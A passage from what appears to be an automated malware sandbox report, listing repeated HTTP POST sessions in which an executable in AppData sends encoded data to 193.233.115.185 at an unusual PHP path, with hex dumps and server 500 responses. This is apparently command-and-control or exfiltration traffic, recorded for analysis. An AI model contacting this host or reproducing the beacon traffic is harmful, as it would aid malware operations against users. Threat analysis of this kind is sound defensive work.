                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            113192.168.2.449856193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:43.533664942 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1884
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            114192.168.2.449857193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:43.610155106 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:43.964565039 CEST2548OUTData Raw: 56 53 51 52 5f 5d 55 5f 59 59 51 58 52 5e 56 50 57 54 5d 5d 5a 5a 55 50 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VSQR_]U_YYQXR^VPWT]]ZZUP_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'86"9^7!4)>$"$!'#)(0 . W%(&F>$?^.5#F".[ <
                                                            Jul 10, 2024 09:07:44.277394056 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:44.285212994 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:44 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            115192.168.2.449858193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:44.403136969 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:44.403172016 CEST2548OUTData Raw: 56 52 51 51 5f 5e 50 59 59 59 51 58 52 5b 56 5a 57 56 5d 5b 5a 5e 55 5b 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VRQQ_^PYYYQXR[VZWV][Z^U[_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Y/,5%X#1#\)>'4!]&,=8(#=0U%6+44;%#F".[ (
                                                            Jul 10, 2024 09:07:45.114710093 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:45.115906000 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:45 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            116192.168.2.449859193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:45.277906895 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:45.636558056 CEST2548OUTData Raw: 56 5c 51 57 5f 52 55 5e 59 59 51 58 52 5f 56 5a 57 50 5d 5e 5a 5b 55 5b 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V\QW_RU^YYQXR_VZWP]^Z[U[_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$8<U5:=]#8)>46&? T>4V2;!+$?,#F".[
                                                            Jul 10, 2024 09:07:45.953092098 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:45.956201077 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:45 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            117192.168.2.449860193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:46.080650091 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2544
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:46.433438063 CEST2544OUTData Raw: 56 54 51 57 5f 52 50 5b 59 59 51 58 52 58 56 56 57 57 5d 5d 5a 50 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VTQW_RP[YYQXRXVVWW]]ZPUX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X/6U"9_""']).(7$)$,W>7>,%%+$'_,%#F".[ 0
                                                            Jul 10, 2024 09:07:46.749078035 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:46.749600887 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:46 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            118192.168.2.449861193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:46.877212048 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:47.230295897 CEST2548OUTData Raw: 56 55 54 56 5a 59 50 59 59 59 51 58 52 5b 56 56 57 57 5d 5b 5a 59 55 5b 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VUTVZYPYYYQXR[VVWW][ZYU[_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$\/<"55#+[<8"4"3<U(( 7><1;:G(0/#F".[ (
                                                            Jul 10, 2024 09:07:47.541941881 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:47.547163963 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:47 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            119192.168.2.449862193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:47.690901995 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:48.042849064 CEST2548OUTData Raw: 53 52 51 57 5a 5c 55 5d 59 59 51 58 52 51 56 50 57 56 5d 59 5a 50 55 5a 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SRQWZ\U]YYQXRQVPWV]YZPUZ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$,?*W"*6 T#^(> 7"3,<=;7#0R1>+4#8#F".[
                                                            Jul 10, 2024 09:07:48.350639105 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:48.356570005 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:48 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            120192.168.2.449863193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:48.489484072 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            121192.168.2.449864193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:48.636037111 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1856
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:48.980360031 CEST1856OUTData Raw: 53 56 51 51 5f 5b 55 59 59 59 51 58 52 5c 56 50 57 50 5d 58 5a 5f 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SVQQ_[UYYYQXR\VPWP]XZ_UX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Y/Z"V6_647Z?#7$X$,(U=+4#=+$89<$'/#F".[ 4
                                                            Jul 10, 2024 09:07:49.305903912 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 37 3a 34 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:07:49 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            122192.168.2.449865193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:48.770754099 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:49.120794058 CEST2548OUTData Raw: 56 5c 51 55 5f 5c 50 5a 59 59 51 58 52 50 56 5b 57 50 5d 58 5a 50 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V\QU_\PZYYQXRPV[WP]XZPUX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'/<)!_9^ 7^+.0#:&<(*,4(R&*@<4,#F".[
                                                            Jul 10, 2024 09:07:49.437439919 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:49.443487883 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:49 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            123192.168.2.449866193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:49.586896896 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:49.933326960 CEST2548OUTData Raw: 53 57 51 52 5a 5e 55 5f 59 59 51 58 52 5d 56 52 57 52 5d 5a 5a 51 55 5c 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWQRZ^U_YYQXR]VRWR]ZZQU\_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$,<259)Y7?](.+T#408T>8+#0V$(!>7,#F".[ 0
                                                            Jul 10, 2024 09:07:50.297658920 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:50.303087950 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:50 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            124192.168.2.449867193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:50.437530994 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:50.792813063 CEST2548OUTData Raw: 56 51 54 51 5a 5f 50 5b 59 59 51 58 52 50 56 52 57 54 5d 5b 5a 5a 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VQTQZ_P[YYQXRPVRWT][ZZUQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Y.?>W )"7"<=$7$3,8*+?#71(%<Q#/#F".[
                                                            Jul 10, 2024 09:07:51.264503002 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:51.268385887 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:51 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            125192.168.2.449868193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:51.395153046 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:51.746071100 CEST2548OUTData Raw: 53 51 54 52 5f 5e 50 5a 59 59 51 58 52 5a 56 5b 57 56 5d 59 5a 58 55 50 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SQTR_^PZYYQXRZV[WV]YZXUP_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$]/,V *>""<(-7T7-0Z(R=8(7=3&]=+$+/5#F".[ ,
                                                            Jul 10, 2024 09:07:52.121989965 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 37 3a 35 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:07:52 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            126192.168.2.449869193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:52.253820896 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:52.605247021 CEST2548OUTData Raw: 56 52 54 57 5a 5f 50 5b 59 59 51 58 52 5d 56 5a 57 54 5d 5f 5a 59 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VRTWZ_P[YYQXR]VZWT]_ZYUQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'/U6241#](X;4B>$Z;=8?Z #16F?7\/%#F".[ 0
                                                            Jul 10, 2024 09:07:52.937184095 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 37 3a 35 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:07:52 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            127192.168.2.449870193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:53.065038919 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:53.418507099 CEST2548OUTData Raw: 56 54 51 51 5f 52 50 5a 59 59 51 58 52 5d 56 51 57 53 5d 5d 5a 58 55 59 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VTQQ_RPZYYQXR]VQWS]]ZXUY_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Z,?"6=X41'_?>##'6',4U=8/44&:(Q4;#F".[ 0
                                                            Jul 10, 2024 09:07:53.723076105 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:53.726982117 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:53 GMT
